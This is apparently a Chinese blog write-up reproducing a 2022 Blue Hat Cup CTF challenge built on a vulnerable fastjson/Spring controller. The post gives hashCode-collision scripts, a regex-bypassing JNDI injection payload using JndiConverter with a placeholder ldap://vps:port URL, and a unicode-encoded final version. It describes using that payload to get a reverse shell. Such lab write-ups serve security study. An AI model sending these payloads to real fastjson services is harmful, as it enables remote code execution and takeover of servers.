首页 > 其他分享 >蓝帽杯2022初赛-fastjson复现

蓝帽杯2022初赛-fastjson复现

时间:2024-03-11 17:33:07浏览次数:25  
标签:fastjson str org ldap 初赛 蓝帽杯 key input import

趁热打铁,直接复现一波蓝帽杯2022初赛的一道fastjson。

简简单单写了个Dockerfile和docker-compose.yml,网上能找到jar包链接,然后启动服务:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.Objects;
import java.util.regex.Pattern;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JSONController {
    public JSONController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public String hello() {
        return "Your key is:" + secret.getKey();
    }

    @ResponseBody
    @RequestMapping({"/json"})
    public String Unserjson(@RequestParam String str, @RequestParam String input) throws Exception {
        if (str != null && Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) {
            String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\x.*";
            Pattern p = Pattern.compile(pattern, 2);
            boolean StrMatch = p.matcher(input).matches();
            if (StrMatch) {
                return "Hacker get out!!!";
            }

            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            JSON.parseObject(input);
        }

        return "hello";
    }
}

查看反编译的源码,其实思路也很简单,网页会先把secretkey打印出来,如上图所示,然后是先传参进行一个hashcode的伪造,要与secretkey的hashcode相同但是str传的参不能和secretkey本身相同。

然后后续就是把rmi、jndi、ldap、\x关键字给ban掉了,意思就是不让你用hex编码绕过了,但是我们还可以使用unicode编码。

此外对于远程资源加载的Pattern.compile匹配我们可以使用换行%0a完成绕过。

然后在input里面传payload:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://vps:port/xxxxx"}";

直接反弹shell。(原题最后还用到了一个date的suid提权,但是我docker复现懒得写权限,反正能打进去就行了)

 

首先就是一个hashcode伪造,参考:Java 构建 HashCode 相同的字符串_java 中hash相同的字符-CSDN博客

由此得知:

直接上脚本:

from urllib import parse

while 1:
    key=input("#")
    print(parse.quote(chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::]))

或者:

def test(str1):

  h = 0

  for i in range(len(str1)):
    h = 31*h+ord(str1[i])

  value = h
  result = ""

  for i in str1[::-1]:
    for j in range(31,128):
      if (value-j)%31 ==0:
        result+=chr(j)
        value = (value-j)//31
        break

    if value < 128:
      result+=chr(j)
      break

  return result[::-1]


print(test(input("key:")))

但我查看了一下其他wp,发现直接key前面加一个%00就能绕过了,呃呃....

 

bp抓包,添加Content-Type: application/json打/json路由,vps启动JNDI-Exploit,反弹shell:

//原始payload
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://vps:port/xxxxx"}";
//POST传参格式
str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://vps:port/xxxxx"}
//unicode编码(最终payload)
str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"\u006c\u0064\u0061\u0070://vps:port/xxxxx"}

此外对于远程资源加载的Pattern.compile匹配我们可以使用换行%0a完成绕过,也就是直接在ldap前加一个%20也绕过了。

老规矩DNSlog先测:

收到回显,能出网。

这里本来我是想用ldap打的,但是我那个工具能启动ldap的JDK版本是1.7和1.8,都打不了。

但是下面有个无视版本的rmi服务,我就用这个打了,直接出:

 

预期解的爆破hashcode和打ldap服务没出,前者我用的加%00打的,感觉是脚本问题,后者是工具问题。

但是无伤大雅,能明白原理就行。

参考:蓝帽杯WP - FW_ltlly - 博客园 (cnblogs.com)

2022蓝帽杯初赛WriteUp | (mrwq.github.io)

标签:fastjson,str,org,ldap,初赛,蓝帽杯,key,input,import
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18066241

相关文章

  • fastjson-RCE
    fastjson是一个有阿里开发的一个开源Java类库,可以将Java对象转换为JSON格式(序列化),当然它也可以将JSON字符串转换为Java对象(反序列化)。Fastjson可以操作任何Java对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。 fastjson序列......
  • FastJson使用和案例
    FastJson使用和案例导入依赖<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.73</version></dependency>使用案例1.新建Perosn类,......
  • P8844 [传智杯 #4 初赛] 小卡与落叶 题解
    分析乱搞题。$1\len,m\le10^5$的时候就可以考虑乱搞了。发现每次操作$1$都会把上一次的操作$1$覆盖掉,那么第$i$个询问时树的颜色情况就是由前$1$个操作$1$决定。也就是说这个询问的内容变成了:在$x$为根的子树中,深度不小于$x'$的节点数量。$x'$是该操作$1$......
  • CSP 初赛玄学题
    使用g++-std=c++14-O2指令编译以下两份代码,判断哪个运行时会RE,哪个不会:#include<bits/stdc++.h>#definerept(i,a,b)for(inti=a;i<b;++i)usingnamespacestd;signedmain(){ int**a[10]; rept(i,0,10)rept(j,0,10)rept(k,0,10)a[i][j][k]=i+j-k; rept(i,0,10)rept......
  • FastJSON学习
    第一节:JSON数据格式回顾 JSON的数组格式:运行:结果:  JSON的对象格式:运行: 结果: ......
  • THUPC2024-初赛
    哈哈,被干爆了。拖了cdqz哥后腿。题目使用协议来自THUPC2024(2024年清华大学学生程序设计竞赛暨高校邀请赛)初赛。以下『本仓库』皆指THUPC2024初赛官方仓库任何单位或个人都可以免费使用或转载本仓库的题目;任何单位或个人在使用本仓库题目时,应做到无偿、公开,严禁使用这......
  • csp2023 初赛退役(you)记
    9.16csp2023初赛AFO记早上我可睡了个大懒觉,早上8点30才起,起来刷了刷水题,就出门了。J组还没进去,就看到了lzh小佬,然后进去就看到[代词使用它的]rty大佬了呵呵呵,没想到跟wzy和xzx大佬一个考场,虽然他们奇菜无比我似乎把手环带进去了。。。前15道选择:我脑瘫忘了哈夫曼,直到晚......
  • 第17天:信息打点-语言框架&开发组件&FastJson&Shiro&Log4j&SpringBoot等
    框架:简单代码的一个整合库,如果使用框架就只需要学习使用框架调用即可如:文件上传功能是需要很多代码来实现的,框架把这个代码进行封封装,调用即可影响:如果采用框架开发,代码的安全性是取决于框架的过滤机制 #Python-开发框架-Django&FlaskDjango1、识别插件2、Set-Cookie:expi......
  • 【西湖论剑2024初赛】MISC3-easy_rawraw WriteUp
    easyraw!manypasswords!首先用volatility+mimikatz可以爆出windows账户密码das123admin321vol.py--plugins=./plugins-f./rawraw.raw--profile=Win7SP1x64mimikatz剪贴板中,有另一个密码DasrIa456sAdmIn987,用来解压mysecretfile.rarvol.py--plugins=./plugins-f......
  • fastjson 1268-jdbc
    1268-jdbc复现靶场项目是https://github.com/lemono0/FastJsonParty版本{"@type":"java.lang.AutoCloseable"回包:{"timestamp":"2024-01-31T09:45:27.342+0000","status":500,"error":"InternalS......